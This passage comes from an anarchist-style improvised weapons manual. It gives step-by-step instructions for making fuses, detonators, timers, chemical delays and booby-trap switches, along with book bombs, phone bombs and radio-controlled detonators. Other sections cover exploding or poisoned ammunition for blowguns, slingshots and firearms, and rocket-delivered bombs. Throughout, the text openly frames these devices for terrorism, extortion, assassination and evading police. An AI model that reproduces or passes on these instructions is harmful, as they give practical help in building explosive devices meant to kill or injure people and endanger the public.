is extremely reliable, burning at a rate of about 2.5 seconds to the inch. It
is available as model rocketry fuse in most hobby shops, and costs about $3.00
for a nine-foot length. Cannon Fuse is a popular ignition system for pipe
bombers because of its simplicity. All that need be done is light it with a
match or lighter. Of course, if the Army had fuses like this, then the
grenade, which uses fuse ignition, would be very impracticle. If a grenade
ignition system can be acquired, by all means, it is the most effective. But,
since such things do not just float around, the next best thing is to prepare
a fuse system which does not require the use of a match or lighter, but still
retains its simplicity. One such method is described below:
MATERIALS
_________
strike-on-cover type matches electrical tape or duct tape
waterproof fuse
1) To determine the burn rate of a particular type of fuse, simply measure a 6
inch or longer piece of fuse and ignite it. With a stopwatch, press the
start button the at the instant when the fuse lights, and stop the watch
when the fuse reaches its end. Divide the time of burn by the length of
fuse, and you have the burn rate of the fuse, in seconds per inch. This
will be shown below:
Suppose an eight inch piece of fuse is burned, and its complete time of
combustion is 20 seconds.
20 seconds / 8 inches = 2.5 seconds per inch.
If a delay of 10 seconds was desired with this fuse, divide the desired
time by the number of seconds per inch:
10 seconds / 2.5 seconds per inch = 4 inches
NOTE: THE LENGTH OF FUSE HERE MEANS LENGTH OF FUSE TO THE POWDER. SOME FUSE,
AT LEAST AN INCH, SHOULD BE INSIDE THE DEVICE. ALWAYS ADD THIS EXTRA INCH,
AND PUT THIS EXTRA INCH AN INCH INTO THE DEVICE!!!
2) After deciding how long a delay is desired before the explosive device is
to go off, add about 1/2 an inch to the premeasured amount of fuse, and cut
it off.
3) Carefully remove the cardboard matches from the paper match case. Do not
pull off individual matches; keep all the matches attached to the cardboard
base. Take one of the cardboard match sections, and leave the other one to
make a second igniter.
4) Wrap the matches around the end of the fuse, with the heads of the matches
touching the very end of the fuse. Tape them there securely, making sure
not to put tape over the match heads. Make sure they are very secure by
pulling on them at the base of the assembly. They should not be able to
move.
5) Wrap the cover of the matches around the matches attached to the fuse,
making sure that the striker paper is below the match heads and the striker
faces the match heads. Tape the paper so that is fairly tight around the
matches. Do not tape the cover of the striker to the fuse or to the
matches. Leave enough of the match book to pull on for ignition.
_____________________
\ /
\ / ------ match book cover
\ /
| M|f|M ---|------- match head
| A|u|A |
| T|s|T |
| C|e|C |
|tapeH|.|Htape|
| |f| |
|#####|u|#####|-------- striking paper
|#####|s|#####|
\ |e| /
\ |.| /
\ |f| /
\ |u| /
|ta|s|pe|
|ta|e|pe|
|.|
|f|
|u|
|s|
|e|
|.|
|_|
The match book is wrapped around the matches, and is taped to itself.
The matches are taped to the fuse. The striker will rub against the
matcheads when the match book is pulled.
6) When ready to use, simply pull on the match paper. It should pull the
striking paper across the match heads with enough friction to light them.
In turn, the burning matcheads will light the fuse, since it adjacent to
the burning match heads.
HOW TO MAKE BLACKMATCH FUSE:
----------------------------
Take a flat piece of plastic or metal (brass or aluminum are easy to work
with and won't rust). Drill a 1/16th inch hole through it. This is your die
for sizing the fuse. You can make fuses as big as you want, but this is the
right size for the pipe bomb I will be getting to later.
To about 1/2 cup of black powder add water to make a thin paste. Add 1/2
teaspoon of corn starch. Cut some one foot lengths of cotton thread. Use
cotton, not silk or thread made from synthetic fibers. Put these together
until you have a thickness that fills the hole in the die but can be drawn
through very easily.
Tie your bundle of threads together at one end. Separate the threads and
hold the bundle over the black powder mixture. Lower the threads with a
circular motion so they start curling onto the mixture. Press them under with
the back of a teaspoon and continue lowering them so they coil into the paste.
Take the end you are holding and thread it through the die. Pull it through
smoothly in one long motion.
To dry your fuse, lay it on a piece of aluminum foil and bake it in your 250
degree oven or tie it to a grill in the oven and let it hang down. The fuse
must be baked to make it stiff enough for the uses it will be put to later.
Air drying will not do the job. If you used Sodium Nitrate, it will not even
dry completely at room temperatures.
Cut the dry fuse with sissors into 2 inch lengths and store in an air tight
container. Handle this fuse carefuly to avoid breaking it. You can also use
a firecracker fuse if you have any available. The fuses can usually be pulled
out without breaking. To give yourself some running time, you will be
extending these fuses (blackmatch or firecracker fuse) with sulfured wick.
Finally, it is possible to make a relatively slow-burning fuse in the
home. By dissolving about one teaspoon of black powder in about 1/4 a cup of
boiling water, and, while it is still hot, soaking in it a long piece of all
cotton string, a slow-burning fuse can be made. After the soaked string dries,
it must then be tied to the fuse of an explosive device. Sometimes, the end of
the slow burning fuse that meets the normal fuse has a charge of black powder
or gunpowder at the intersection point to insure ignition, since the
slow-burning fuse does not burn at a very high temperature.
A similar type of slow fuse can be made by taking the above mixture of
boiling water and black powder and pouring it on a long piece of toilet paper.
The wet toilet paper is then gently twisted up so that it resembles a
firecracker fuse, and is allowed to dry.
HOW TO MAKE SULFURED WICK
-------------------------
Use heavy cotton string about 1/8th inch in diameter. You can find some at
a garden supply for tieing up your tomatoes. Be sure it's cotton. You can
test it by lighting one end. It sould continue to burn after the match is
removed and when blown out will have a smoldering coal on the end. Put some
sulfur in a small container like a small pie pan and melt it in the oven at
250 degrees.
It will melt into a transparent yellow liquid. If it starts turning
brown, it is too hot. Coil about a one foot length of string into it. The
melted sulfur will soak in quickly. When saturated, pull it out and tie it up
to cool and harden.
It can be cut to desired lengths with sissors. 2 inches is about right.
These wicks will burn slowly with a blue flame and do not blow out easily in a
moderate wind. They will not burn through a hole in a metal pipe, but are
great for extending your other fuse. They will not throw off sparks.
Blackmatch generates sparks which can ignite it along its length causing
unpredictable burning times.
--IMPACT IGNITION
Impact ignition is an excellent method of ignition for spontaneous
terrorist activities. The problem with an impact-detonating device is that it
must be kept in a very safe container so that it will not explode while being
transported to the place where it is to be used. This can be done by having a
removable impact initiator.
The best and most reliable impact initiator is one that uses factory made
initiators or primers. A no. 11 cap for black powder firearms is one such
primer. They usually come in boxes of 100, and cost about $2.50. To use such a
cap, however, one needs a nipple that it will fit on. Black powder nipples are
also available in gun stores. All that a person has to do is ask for a package
of nipples and the caps that fit them. Nipples have a hole that goes all the
way through them, and they have a threaded end, and an end to put the cap on.
A cutaway of a nipple is shown below:
________________
| |
_ | |
| | |/\/\/\/\/\/\/\/\|
_______| |^^^^^^^|
| ___________|
| |
no. 11 |_______|
percussion _______ ------- threads for screwing
cap :
here |__________ nipple onto bomb
|____ |
| |^^^^^^^^^|
|_| |/\/\/\/\/\/\/\/\/|
| |
|_________________|
When making using this type of initiator, a hole must be drilled into
whatever container is used to make the bomb out of. The nipple is then screwed
into the hole so that it fits tightly. Then, the cap can be carried and placed
on the bomb when it is to be thrown. The cap should be bent a small amount
before it is placed on the nipple, to make sure that it stays in place. The
only other problem involved with an impact detonating bomb is that it must
strike a hard surface on the nipple to set it off. By attaching fins or a
small parachute on the end of the bomb opposite the primer, the bomb, when
thrown, should strike the ground on the primer, and explode. Of course, a bomb
with mercury fulminate in each end will go off on impact regardless of which
end it strikes on, but mercury fulminate is also likely to go off if the
person carrying the bomb is bumped hard.
---MAGICUBE IGNITOR
A VERY SENSITIVE and reliable impact iniator can be produced from the
common MAGICUBE ($2.40 for 12) type flashbulbs. Simply crack the plastic
cover off, remove the reflector, and you will see 4 bulbs, each of which has
a small metal rod holding it in place.
CAREFULLY grasp this rod with a pair of needle-nose pliers, and pry gently
upwards, making sure that NO FORCE IS APPLIED TO THE GLASS BULB.
Each bulb is coated with plastic, which must be removed for them to be
effective in our application. This coating can be removed by soaking the
bulbs in a small glass of acetone for 30-45 minutes, at which point the
plastic can be easily peeled away.
The best method to use these is to dissolve some nitrocellulose based
smokeless powder in acetone and/or ether, forming a thich glue-like paste.
Coat the end of the fuse with this paste, then stick the bulb (with the metal
rod facing out) into the paste. About half the bulb should be completely
covered, and if a VERY THIN layer of nitrocellulose is coated over the
remainder then ignition should be very reliable.
To insure that the device lands with the bulb down, a small streamer
can be attached to the opposite side, so when it is tossed high into the air
the appropriate end will hit the ground first.
---ELECTRICAL IGNITION
Electrical ignition systems for detonation are usually the safest and
most reliable form of ignition. Electrical systems are ideal for demolition
work, if one doesn't have to worry so much about being caught. With two spools
of 500 ft of wire and a car battery, one can detonate explosives from a
"safe", comfortable distance, and be sure that there is nobody around that
could get hurt. With an electrical system, one can control exactly what time a
device will explode, within fractions of a second. Detonation can be aborted
in less than a second's warning, if a person suddenly walks by the detonation
sight, or if a police car chooses to roll by at the time. The two best
electrical igniters are military squibs and model rocketry igniters. Blasting
caps for construction also work well. Model rocketry igniters are sold in
packages of six, and cost about $1.00 per pack. All that need be done to use
them is connect it to two wires and run a current through them. Military
squibs are difficult to get, but they are a little bit better, since they
explode when a current is run through them, whereas rocketry igniters only
burst into flame. Most squibs will NOT detonate KClO3/petroleum jelly or RDX.
This requires a blasting cap type detonation in most cases. There are,
however, military explosive squibs which will do the job.
Igniters can be used to set off black powder, mercury fulminate, or guncotton,
which in turn, can set of a high order explosive.
---HOW TO MAKE AN ELECTRIC FUZE (By Capt. Hack & GW)
Take a flashlight bulb and place it glass tip down on a file. Grind it
down on the file until there is a hole in the end. Solder one wire to the case
of the bulb and another to the center conductor at the end. Fill the bulb
with black powder or powdered match head. One or two flashlight batteries will
heat the filament in the bulb causing the powder to ignite.
---ANOTHER ELECTRIC FUZE
Take a medium grade of steel wool and pull a strand out of it. Attach it
to the ends of two pieces of copper wire by wrapping it around a few turns and
then pinch on a small piece of solder to bind the strand to the wire. You want
about 1/2 inch of steel strand between the wires. Number 18 or 20 is a good
size wire to use.
Cut a 1/2 by 1 inch piece of cardboard of the type used in match covers.
Place a small pile of powdered match head in the center and press it flat.
place the wires so the steel strand is on top of and in contact with the
powder. Sprinkle on more powder to cover the strand.
The strand should be surounded with powder and not touching anything else
except the wires at its ends. Place a piece of blackmatch in contact with the
powder. Now put a piece of masking tape on top of the lot, and fold it under
on the two ends. Press it down so it sticks all around the powder.
The wires are sticking out on one side and the blackmatch on the other.
A single flashlight battery will set this off.
---ELECTRO-MECHANICAL IGNITION
Electro-mechanical ignition systems are systems that use some type of
mechanical switch to set off an explosive charge electrically. This type of
switch is typically used in booby traps or other devices in which the person
who places the bomb does not wish to be anywhere near the device when it
explodes. Several types of electro-mechanical detonators will be discussed
---Mercury Switches
Mercury switches are a switch that uses the fact that mercury metal
conducts electricity, as do all metals, but mercury metal is a liquid at room
temperatures. A typical mercury switch is a sealed glass tube with two
electrodes and a bead of mercury metal. It is sealed because of mercury's
nasty habit of giving off brain-damaging vapors. The diagram below may help to
explain a mercury switch.
______________
A / \ B
_____wire +______/_________ \
\ ( Hg )| /
\ _(_Hg___)|___/
|
|
wire - |
|
|
When the drop of mercury ("Hg" is mercury's atomic symbol) touches both
contacts, current flows through the switch. If this particular switch was in
its present position, A---B, current would be flowing, since the mercury can
touch both contacts in the horizontal position.
If, however, it was in the | position, the drop of mercury would only
touch the + contact on the A side. Current, then couldn't flow, since mercury
does not reach both contacts when the switch is in the vertical position. This
type of switch is ideal to place by a door. If it were placed in the path of a
swinging door in the verticle position, the motion of the door would knock the
switch down, if it was held to the ground by a piece if tape. This would tilt
the switch into the verticle position, causing the mercury to touch both
contacts, allowing current to flow through the mercury, and to the igniter or
squib in an explosive device.
---Tripwire Switches
A tripwire is an element of the classic booby trap. By placing a nearly
invisible line of string or fishing line in the probable path of a victim, and
by putting some type of trap there also, nasty things can be caused to occur.
If this mode of thought is applied to explosives, how would one use such a
tripwire to detonate a bomb. The technique is simple. By wrapping the tips
of a standard clothespin with aluminum foil, and placing something between
them, and connecting wires to each aluminum foil contact, an electric tripwire
can be made, If a piece of wood attached to the tripwire was placed between
the contacts on the clothespin, the clothespin would serve as a switch. When
the tripwire was pulled, the clothespin would snap together, allowing current
to flow between the two pieces of aluminum foil, thereby completing a circuit,
which would have the igniter or squib in it. Current would flow between the
contacts to the igniter or squib, heat the igniter or squib, causing it it to
explode. Make sure that the aluminum foil contacts do not touch the spring,
since the spring also conducts electricity.
---Radio Control Detonators
In the movies, every terrorist or criminal uses a radio controlled
detonator to set off explosives. With a good radio detonator, one can be
several miles away from the device, and still control exactly when it
explodes, in much the same way as an electrical switch. The problem with
radio detonators is that they are rather costly. However, there could
possibly be a reason that a terrorist would wish to spend the amounts of money
involved with a RC (radio control) system and use it as a detonator. If such
an individual wanted to devise an RC detonator, all he would need to do is
visit the local hobby store or toy store, and buy a radio controlled toy.
Taking it back to his/her abode, all that he/she would have to do is detach
the solenoid/motor that controls the motion of the front wheels of a RC car,
or detach the solenoid/motor of the elevators/rudder of a RC plane, or the
rudder of a RC boat, and re-connect the squib or rocket engine igniter to the
contacts for the solenoid/motor. The device should be tested several times
with squibs or igniters, and fully charged batteries should be in both he
controller and the receiver (the part that used to move parts before the
device became a detonator).
---DELAYS
A delay is a device which causes time to pass from when a device is set
up to the time that it explodes. A regular fuse is a delay, but it would cost
quite a bit to have a 24 hour delay with a fuse. This section deals with the
different types of delays that can be employed by a terrorist who wishes to be
sure that his bomb will go off, but wants to be out of the country when it
does.
---FUSE DELAYS
It is extremely simple to delay explosive devices that employ fuses for
ignition. Perhaps the simplest way to do so is with a cigarette. An average
cigarette burns for between 8-11 minutes. The higher the "tar" and nicotine
rating, the slower the cigarette burns. Low "tar" and nicotine cigarettes burn
quicker than the higher "tar" and nicotine cigarettes, but they are also less
likely to go out if left unattended, i.e. not smoked. Depending on the wind or
draft in a given place, a high "tar" cigarette is better for delaying the
ignition of a fuse, but there must be enough wind or draft to give the
cigarette enough oxygen to burn. People who use cigarettes for the purpose of
delaying fuses will often test the cigarettes that they plan to use in advance
to make sure they stay lit and to see how long it will burn. Once a cigarettes
burn rate is determined, it is a simple matter of carefully putting a hole all
the way through a cigarette with a toothpick at the point desired, and pushing
the fuse for a device in the hole formed.
|=|
|=| ---------- filter
|=|
| |
| |
|o| ---------- hole for fuse
cigarette ------------ | |
| |
| |
| |
| |
| |
| |
| |
| |
|_| ---------- light this end
---TIMER DELAYS
Timer delays, or "time bombs" are usually employed by an individual who
wishes to threaten a place with a bomb and demand money to reveal its location
and means to disarm it. Such a device could be placed in any populated place if
it were concealed properly. There are several ways to build a timer delay. By
simply using a screw as one contact at the time that detonation is desired, and
using the hour hand of a clock as the other contact, a simple timer can be made.
The minute hand of a clock should be removed, unless a delay of less than an
hour is desired.
The main disadvantage with this type of timer is that it can only be set
for a maximum time of 12 hours. If an electronic timer is used, such as that
in an electronic clock, then delays of up to 24 hours are possible. By
removing the speaker from an electronic clock, and attaching the wires of a
squib or igniter to them, a timer with a delay of up to 24 hours can be made.
All that one has to do is set the alarm time of the clock to the desired time,
connect the leads, and go away. This could also be done with an electronic
watch, if a larger battery were used, and the current to the speaker of the
watch was stepped up via a transformer. This would be good, since such a
timer could be extremely small.
The timer in a VCR (Video Cassette Recorder) would be ideal. VCR's can
usually be set for times of up to a week. The leads from the timer to the
recording equipment would be the ones that an igniter or squib would be
connected to. Also, one can buy timers from electronics stores that would be
work well. Finally, one could employ a digital watch, and use a relay, or
electro-magnetic switch to fire the igniter, and the current of the watch
would not have to be stepped up.
---CHEMICAL DELAYS
Chemical delays are uncommon, but they can be extremely effective in some
cases. These were often used in the bombs the Germans dropped on England. The
delay would ensure that a bomb would detonate hours or even days after the
initial bombing raid, thereby increasing the terrifying effect on the British
citizenry.
If a glass container is filled with concentrated sulfuric acid, and capped
with several thicknesses of aluminum foil, or a cap that it will eat through,
then it can be used as a delay. Sulfuric acid will react with aluminum foil
to produce aluminum sulfate and hydrogen gas, and so the container must be
open to the air on one end so that the pressure of the hydrogen gas that is
forming does not break the container.
_ _
| | | |
| | | |
| | | |
| |_____________| |
| | | |
| | sulfuric | |
| | | |
| | acid | |
| | | |---------- aluminum foil
| |_____________| | (several thicknesses)
|_________________|
The aluminum foil is placed over the bottom of the container and secured
there with tape. When the acid eats through the aluminum foil, it can be used
to ignite an explosive device in several ways.
1) Sulfuric acid is a good conductor of electricity. If the acid that eats
through the foil is collected in a glass container placed underneath the
foil, and two wires are placed in the glass container, a current will be
able to flow through the acid when both of the wires are immersed in the
acid.
2) Sulfuric acid reacts very violently with potassium chlorate. If the acid
drips down into a container containing potassium chlorate, the potassium
chlorate will burst into flame. This flame can be used to ignite a fuse,
or the potassium chlorate can be the igniter for a thermite bomb, if some
potassium chlorate is mixed in a 50/50 ratio with the thermite, and this
mixture is used as an igniter for the rest of the thermite.
3) Sulfuric acid reacts with potassium permangenate in a similar way.
-= Exodus =-
--FILM CANISTERS 2 (Originally By Bill)
For a relatively low shrapnel explosion, I suggest pouring it into an empty
35mm film cannister. Poke a hole in the plastic lid for a fuse. These
goodies make an explosion audible a mile away easily.
1) Poke the hole before putting the flash powder into the cannister.
2) Don't get any powder on the lip of the cannister.
3) Only use a very small quantity and work your way up to the desired
result.
4) Do not pack the powder, it works best loose.
5) Do not grind or rub the mixture - it is friction sensitive.
6) Use a long fuse.
-= Exodus =-
--BOOK BOMBS Exodus
Concealing a bomb can be extremely difficult in a day and age where
perpetrators of violence run wild. Bags and briefcases are often searched by
authorities whenever one enters a place where an individual might intend to
set off a bomb. One approach to disguising a bomb is to build what is called
a book bomb; an explosive device that is entirely contained inside of a book.
Usually, a relatively large book is required, and the book must be of the
hardback variety to hide any protrusions of a bomb. Dictionaries, law books,
large textbooks, and other such books work well. When an individual makes a
bookbomb, he/she must choose a type of book that is appropriate for the place
where the book bomb will be placed. The actual construction of a book bomb
can be done by anyone who possesses an electric drill and a coping saw. First,
all of the pages of the book must be glued together. By pouring an entire
container of water-soluble glue into a large bucket, and filling the bucket
with boiling water, a glue-water solution can be made that will hold all of
the book's pages together tightly. After the glue-water solution has cooled
to a bearable temperature, and the solution has been stirred well, the pages
of the book must be immersed in the glue-water solution, and each page must be
thoroughly soaked.
It is extremely important that the covers of the book do not get stuck to
the pages of the book while the pages are drying. Suspending the book by both
covers and clamping the pages together in a vise works best. When the pages
dry, after about three days to a week, a hole must be drilled into the now
rigid pages, and they should drill out much like wood. Then, by inserting the
coping saw blade through the pages and sawing out a rectangle from the middle
of the book, the individual will be left with a shell of the book's pages. The
pages, when drilled out, should look like this:
________________________
| ____________________ |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |__________________| |
|______________________|
(book covers omitted)
This rectangle must be securely glued to the back cover of the book.
After building his/her bomb, which usually is of the timer or radio controlled
variety, the bomber places it inside the book. The bomb itself, and whatever
timer or detonator is used, should be packed in foam to prevent it from
rolling or shifting about. Finally, after the timer is set, or the radio
control has been turned on, the front cover is glued closed, and the bomb is
taken to its destination.
---PHONE BOMBS -= Exodus =-
The phone bomb is an explosive device that has been used in the past to
kill or injure a specific individual. The basic idea is simple: when the
person answers the phone, the bomb explodes. If a small but powerful high
explosive device with a squib was placed in the phone receiver, when the
current flowed through the receiver, the squib would explode, detonating the
high explosive in the person's hand. Nasty. All that has to be done is
acquire a squib, and tape the receiver switch down.
Unscrew the mouthpiece cover, and remove the speaker, and connect the squib's
leads where it was. Place a high explosive putty, such as C-1 (see section
3.31) in the receiver, and screw the cover on, making sure that the squib is
surrounded by the C-1. Hang the phone up, and leave the tape in place.
When the individual to whom the phone belongs attempts to answer the phone,
he will notice the tape, and remove it. This will allow current to flow
through the squib. Note that the device will not explode by merely making a
phone call; the owner of the phone must lift up the receiver, and remove the
tape. It is highly probable that the phone will be by his/her ear when the
device explodes...
--IMPROVED PHONE BOMB
The above seems overly complicated to me... it would be better to rig the
device as follows:
_________ FIRST UNPLUG THE PHONE FROM THE WALL
/|-------|\ Wire the detonator IN LINE with the wires going to the earpiece,
~ | | ~ (may need to wire it with a relay so the detonator can receive
@@@@@@@@ the full line power, not just the audio power to the earpiece)
@@@@@@@@@@
@@@@@@@@@@ Pack C4 into the phone body (NOT the handset) and plug it back
in. When they pick up the phone, power will flow through the
circuit to the detonator....
SPECIAL AMMUNITION FOR BLOWGUNS
The blowgun is an interesting weapon which has several advantages. A
blowgun can be extremely accurate, concealable, and deliver an explosive or
poisoned projectile. The manufacture of an explosive dart or projectile is
not difficult. To acquire a blowgun, please contact the editor at one of the
addresses given in the introduction.
Perhaps the most simple design for such involves the use of a pill capsule,
such as the kind that are taken for headaches or allergies. Empty gelatin pill
capsules can be purchased from most health-food stores. Next, the capsule
would be filled with an impact-sensitive explosive, such as mercury fulminate.
An additional high explosive charge could be placed behind the impact
sensitive explosive, if one of the larger capsules were used.
Finally, the explosive capsule would be reglued back together, and a tassel
or cotton would be glued to the end containing the high explosive, to insure
that the impact-detonating explosive struck the target first.
Such a device would probably be about 3/4 of an inch long, not including the
tassel or cotton, and look something like this:
____________________
/mercury | \-----------------------
(fulminate| R.D.X. )---------------------- } tassels
\________|___________/-----------------------
Care must be taken- if a powerful dart went off in the blowgun, you could
easily blow the back of your head off.
SPECIAL AMMUNITION FOR WRISTROCKETS AND SLINGSHOTS
A modern wristrocket is a formidable weapon. It can throw a shooter marble
about 500 ft. with reasonable accuracy. Inside of 200 ft., it could well be
lethal to a man or animal, if it struck in a vital area. Because of the
relatively large sized projectile that can be used in a wristrocket, the
wristrocket can be adapted to throw relatively powerful explosive projectiles.
A small segment of aluminum pipe could be made into an impact-detonating
device by filling it with an impact-sensitive explosive material.
Also, such a pipe could be filled with a low-order explosive, and fitted
with a fuse, which would be lit before the device was shot. One would have to
make sure that the fuse was of sufficient length to insure that the device did
not explode before it reached its intended target.
Finally, .22 caliber caps, such as the kind that are used in .22 caliber
blank guns, make excellent exploding ammunition for wristrockets, but they
must be used at a relatively close range, because of their light weight.
SPECIAL AMMUNITION FOR FIREARMS
When special ammunition is used in combination with the power and
rapidity of modern firearms, it becomes very easy to take on a small army with
a single weapon. It is possible to buy explosive ammunition, but that can be
difficult to do. Such ammunition can also be manufactured in the home. There
is, however, a risk involved with modifying any ammunition. If the ammunition
is modified incorrectly, in such a way that it makes the bullet even the
slightest bit wider, an explosion in the barrel of the weapon will occur. For
this reason, NOBODY SHOULD EVER ATTEMPT TO MANUFACTURE SUCH AMMUNITION.
SPECIAL AMMUNITION FOR HANDGUNS
If an individual wished to produce explosive ammunition for his/her
handgun, he/she could do it, provided that the person had an impact-sensitive
explosive and a few simple tools. One would first purchase all lead bullets,
and then make or acquire an impact-detonating explosive. By drilling a hole
in a lead bullet with a drill, a space could be created for the placement of
an explosive. After filling the hole with an explosive, it would be sealed in
the bullet with a drop of hot wax from a candle. A diagram of a completed
exploding bullet is shown below.
_o_ ------------ drop of wax
/|*|\
| |*|-|----------- impact-sensitive explosive
| |_| |
|_____|
This hollow space design also works for putting poison in bullets.
In many spy thrillers, an assassin is depicted as manufacturing
"exploding bullets" by placing a drop of mercury in the nose of a bullet.
Through experimentation it has been found that this will not work. Mercury
reacts with lead to form a inert silvery compound.
SPECIAL AMMUNITION FOR SHOTGUNS
Because of their large bore and high power, it is possible to create some
extremely powerful special ammunition for use in shotguns. If a shotgun shell
is opened at the top, and the shot removed, the shell can be re-closed. Then,
if one can find a very smooth, lightweight wooden dowel that is close to the
bore width of the shotgun, a person can make several types of shotgun-launched
weapons.
Insert the dowel in the barrel of the shotgun with the shell without the
shot in the firing chamber. Mark the dowel about six inches away from the end
of the barrel, and remove it from the barrel.
Next, decide what type of explosive or incendiary device is to be used.
This device can be a chemical fire bottle (sect. 3.43), a pipe bomb (sect
4.42), or a thermite bomb (sect 3.41 and 4.42). After the device is made, it
must be securely attached to the dowel. When this is done, place the dowel
back in the shotgun. The bomb or incendiary device should be on the end of the
dowel.
Make sure that the device has a long enough fuse, light the fuse, and fire
the shotgun. If the projectile is not too heavy, ranges of up to 300 ft are
possible. A diagram of a shotgun projectile is shown below:
____
|| |
|| |
|| | ----- bomb, securely taped to dowel
|| |
||__|
|| |
|| | ------- fuse
|| |
||
||
||
|| --------- dowel
||
||
||
|| --------- insert this end into shotgun
||
||
Special "grenade-launcher blanks" should be used- use of regular blank
ammunition may cause the device to land perilously close to the user.
SPECIAL AMMUNITION FOR COMPRESSED AIR/GAS WEAPONS
This section deals with the manufacture of special ammunition for
compressed air or compressed gas weapons, such as pump B.B guns, CO2 B.B guns,
and .22 cal pellet guns. These weapons, although usually thought of as kids
toys, can be made into rather dangerous weapons.
SPECIAL AMMUNITION FOR B.B GUNS
A B.B gun, for this manuscript, will be considered any type of rifle or
pistol that uses compressed air or CO2 gas to fire a projectile with a caliber
of .177, either B.B, or lead pellet. Such guns can have almost as high a
muzzle velocity as a bullet-firing rifle. Because of the speed at which a .177
caliber projectile flies, an impact detonating projectile can easily be made
that has a caliber of .177.
Most ammunition for guns of greater than .22 caliber use primers to
ignite the powder in the bullet. These primers can be bought at gun stores,
since many people like to reload their own bullets. Such primers detonate when
struck by the firing pin of a gun. They will also detonate if they are thrown
at a hard surface at a great speed.
Usually, they will also fit in the barrel of a .177 caliber gun. If they are
inserted flat end first, they will detonate when the gun is fired at a hard
surface. If such a primer is attached to a piece of thin metal tubing, such as
that used in an antenna, the tube can be filled with an explosive, be sealed,
and fired from a B.B gun. A diagram of such a projectile appears below:
_____ primers _______
| |
| |
| |
V V
______ ______
| ________________________ |-------------------
| ****** explosive ******* |------------------- } tassel or
| ________________________ |------------------- cotton
|_____ _____|-------------------
^
|
|
|_______ antenna tubing
The front primer is attached to the tubing with a drop of super glue. The
tubing is then filled with an explosive, and the rear primer is glued on.
Finally, a tassel, or a small piece of cotton is glued to the rear primer, to
insure that the projectile strikes on the front primer. The entire projectile
should be about 3/4 of an inch long.
SPECIAL AMMUNITION FOR .22 CALIBER PELLET GUNS
A .22 caliber pellet gun usually is equivalent to a .22 cal rifle, at
close ranges. Because of this, relatively large explosive projectiles can be
adapted for use with .22 caliber air rifles. A design similar to that used in
section 5.12 is suitable, since some capsules are about .22 caliber or
smaller. Or, a design similar to that in section 5.31 could be used, only one
would have to purchase black powder percussion caps, instead of ammunition
primers, since there are percussion caps that are about .22 caliber. A #11
cap is too small, but anything larger will do nicely.
-= Exodus =-
ROCKETS AND CANNONS
Rockets and cannon are generally thought of as heavy artillery.
Perpetrators of violence do not usually employ such devices, because they are
difficult or impossible to acquire. They are not, however, impossible to
make. Any individual who can make or buy black powder or pyrodex can make such
things. A terrorist with a cannon or large rocket is, indeed, something to
fear.
ROCKETS
Rockets were first developed by the Chinese several hundred years before
the myth of christ began. They were used for entertainment, in the form of
fireworks. They were not usually used for military purposes because they were
inaccurate, expensive, and unpredictable. In modern times, however, rockets
are used constantly by the military, since they are cheap, reliable, and have
no recoil. Perpetrators of violence, fortunately, cannot obtain military
rockets, but they can make or buy rocket engines. Model rocketry is a popular
hobby of the space age, and to launch a rocket, an engine is required. Estes,
a subsidiary of Damon, is the leading manufacturer of model rockets and rocket
engines. Their most powerful engine, the "D" engine, can develop almost 12
lbs. of thrust; enough to send a relatively large explosive charge a
significant distance. Other companies, such as Centuri, produce even larger
rocket engines, which develop up to 30 lbs. of thrust. These model rocket
engines are quite reliable, and are designed to be fired electrically. Mostrocket engines have three basic sections. The
diagram below will help
explain them.
_________________________________________________________
|_________________________________________________________| -- cardboard
\ clay | - - - - - - - - - - | * * * | . . . .|c| casing
\_______| - - - - - - - - - | * * * | . . . |l|
_______ - - - thrust - - - | smoke | eject |a|
/ clay | - - - - - - - - - | * * * | . . . .|y|
/________|_____________________|_______|________|_|_______
|_________________________________________________________| -- cardboard
casing
The clay nozzle is where the igniter is inserted. When the area labeled
"thrust" is ignited, the "thrust" material, usually a large single grain of a
propellant such as black powder or pyrodex, burns, forcing large volumes of
hot, rapidly expanding gasses out the narrow nozzle, pushing the rocket
forward.
After the material has been consumed, the smoke section of the engine is
ignited. It is usually a slow-burning material, similar to black powder that
has had various compounds added to it to produce visible smoke, usually black,
white, or yellow in color. This section exists so that the rocket will be
seen when it reaches its maximum altitude, or apogee.
When it is burned up, it ignites the ejection charge, labeled "eject".
The ejection charge is finely powdered black powder. It burns very rapidly,
exploding, in effect. The explosion of the ejection charge pushes out the
parachute of the model rocket. It could also be used to ignite the fuse of a
bomb...
Rocket engines have their own peculiar labeling system. Typical engine
labels are: 1/4A-2T, 1/2A-3T, A8-3, B6-4, C6-7, and D12-5. The letter is an
indicator of the power of an engine. "B" engines are twice as powerful as "A"
engines, and "C" engines are twice as powerful as "B" engines, and so on. The
number following the letter is the approximate thrust of the engine, in
pounds. the final number and letter is the time delay, from the time that the
thrust period of engine burn ends until the ejection charge fires; "3T"
indicates a 3 second delay.
NOTE: an extremely effective rocket propellant can be made by mixing aluminum
dust with ammonium perchlorate and a very small amount of iron oxide.
The mixture is bound together by an epoxy.
BASIC ROCKET BOMB
A rocket bomb is simply what the name implies: a bomb that is delivered
to its target by means of a rocket. Most people who would make such a device
would use a model rocket engine to power the device. By cutting fins from
balsa wood and gluing them to a large rocket engine, such as the Estes "C"
engine, a basic rocket could be constructed. Then, by attaching a "crater
maker", or CO2 cartridge bomb to the rocket, a bomb would be added. To insure
that the fuse of the "crater maker" (see sect. 4.42) ignited, the clay over
the ejection charge of the engine should be scraped off with a plastic tool.
The fuse of the bomb should be touching the ejection charge, as shown below.
____________ rocket engine
| _________ crater maker
| |
| |
V |
_______________________________V_
|_______________________________| ______________________
\ | - - - - - -|***|::::| /# # # # # # # # # # # \
\__| - - - - - -|***|::::| ___/ # # # # # # # # # # # \
__ - - - - - -|***|::::|---fuse--- # # explosive # # )
/ | - - - - - -|***|::::| ___ # # # # # # # # # # # /
/___|____________|___|____|____ \_______________________/
|_______________________________|
thrust> - - - - - -
smoke> ***
ejection charge> ::::
Duct tape is the best way to attach the crater maker to the rocket
engine. Note in the diagram the absence of the clay over the ejection charge
Many different types of explosive payloads can be attached to the rocket, such
as a high explosive, an incendiary device, or a chemical fire bottle.
Either four or three fins must be glued to the rocket engine to insure that
the rocket flies straight. The fins should look like the following diagram:
|\
| \
| \
| \ <--------- glue this to rocket engine
| \
| \
| \
| |
| |
| |
leading edge |
-------> |
| |
| | trailing edge
| | <--------
| |
| |
| |
| |
\_____/
The leading edge and trailing edge should be sanded with sandpaper so
that they are rounded. This will help make the rocket fly straight. A two
